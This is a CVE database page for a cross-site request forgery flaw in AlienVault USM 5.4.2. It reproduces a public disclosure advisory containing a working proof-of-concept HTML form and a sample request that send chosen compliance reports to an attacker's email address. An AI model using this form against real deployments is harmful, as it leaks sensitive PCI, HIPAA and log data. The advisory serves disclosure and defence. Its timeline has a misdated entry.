CVE-2017-14956

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Published 2017-10-18 · Modified 2026-05-13

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CVSS v3

5.7

CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

CVSS v4 NEW

—

not yet in upstream

VIR risk

6.7

Description

AlienVault USM v5.4.2 and earlier offers authenticated users the functionality of exporting generated reports via the "/ossim/report/wizard_email.php" script. Besides offering an export via a local download, the script also offers the possibility to send out any report via email to a given address (either in PDF or XLS format). Since there is no anti-CSRF token protecting this functionality, it is vulnerable to Cross-Site Request Forgery attacks.

Predictions

Exploit likelihood

67%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42988 webapps php text · 4 KB

Julien Ahrens · 2017-10-13

AlienVault Unified Security Management (USM) 5.4.2 - Cross-Site Request Forgery

text exploit Source: Exploit-DB

1. ADVISORY INFORMATION
=======================
Product:        AlienVault USM
Vendor URL:     https://www.alienvault.com
Type:           Cross-Site Request Forgery [CWE-253]
Date found:     2017-09-22
Date published: 2017-10-13
CVSSv3 Score:   6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)
CVE:            CVE-2017-14956


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
AlienVault USM 5.4.2 (current)
older versions may be affected too.


4. INTRODUCTION
===============
AlienVault Unified Security Management (USM) is a comprehensive approach to
security monitoring, delivered in a unified platform. The USM platform includes
five essential security capabilities that provide resource-constrained
organizations with all the security essentials needed for effective threat
detection, incident response, and compliance, in a single pane of glass.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
AlienVault USM v5.4.2 offers authenticated users the functionality to generate
and afterwards export generated compliance reports via the script located at
"/ossim/report/wizard_email.php". Besides offering an export via a local file
download, the script does also offer the possibility to send out any report via
email to a given address (either in PDF or XLSX format).

An exemplary request to send the pre-defined report
"PCI_DSS_3_2__Vulnerability_Details" to the email address "email () example com"
looks like the following:

https://example.com/ossim/report/wizard_email.php?extra_data=1&name=UENJX0RTU18zXzJfX1Z1bG5lcmFiaWxpdHlfRGV0YWlscw==&format=email&pdf=true&email=email
 () example com

The base64-encoded HTTP GET "name" parameter can be replaced with any other
of the approx. 240 pre-defined reports, that are shipped with AlienVault USM
since they do all have hardcoded identifiers, such as:
- Alarm_Report
- Ticket_Report
- Business_and_Compliance
- HIPAA_List_of_identified_ePHI_assets
- PCI_DSS_3_2_Database_Users_Added
- VulnerabilitiesReport
etc.

Since there is no anti-CSRF token protecting this functionality, it is
vulnerable to Cross-Site Request Forgery attacks. An exemplary exploit to send
the "PCI_DSS_3_2__Vulnerability_Details" report as a PDF-file to
"email () example com" could look like the following:

<html>
  <body>
    <form action="https://example.com/ossim/report/wizard_email.php";>
      <input type="hidden" name="extra&#95;data" value="1" />
      <input type="hidden" name="name" value="UENJX0RTU18zXzJfX1Z1bG5lcmFiaWxpdHlfRGV0YWlscw&#61;&#61;" />
      <input type="hidden" name="format" value="email" />
      <input type="hidden" name="pdf" value="true" />
      <input type="hidden" name="email" value="email&#64;example&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


6. RISK
=======
To successfully exploit this vulnerability a user with rights to access the
compliance reports must be tricked into visiting an arbitrary website while
having an authenticated session in the application.

The vulnerability allows remote attackers to trigger a report generation and
send the report out to an arbitrary email address, which may lead to the
disclosure of very sensitive internal reporting information stored in AlienVault
USM through pre-defined reports such as:
- Alarms
- Assets Inventory
- Compliance Reports such as PCI DSS and HIPAA
- Raw Logs
- Security Events
- Security Operations
- Tickets
- User Activity


7. SOLUTION
===========
None.


8. REPORT TIMELINE
==================
2017-09-22: Discovery of the vulnerability
2017-09-22: Sent full vulnerability details to publicly listed security email
            address
2016-10-01: MITRE assigns CVE-2017-14956
2017-10-03: No response from vendor, notified vendor again
2017-10-13: No response from vendor
2017-10-13: Public disclosure according to disclosure policy


9. REFERENCES
=============
https://www.rcesecurity.com/2017/10/cve-2017-14956-alienvault-usm-leaks-sensitive-compliance-information-via-csrf
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14956

Application impact

Vendor	Product	Versions	Fixed
alienvault	unified_security_management	`{"endIncluding":"5.4.2"}`

References

CWEs

CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.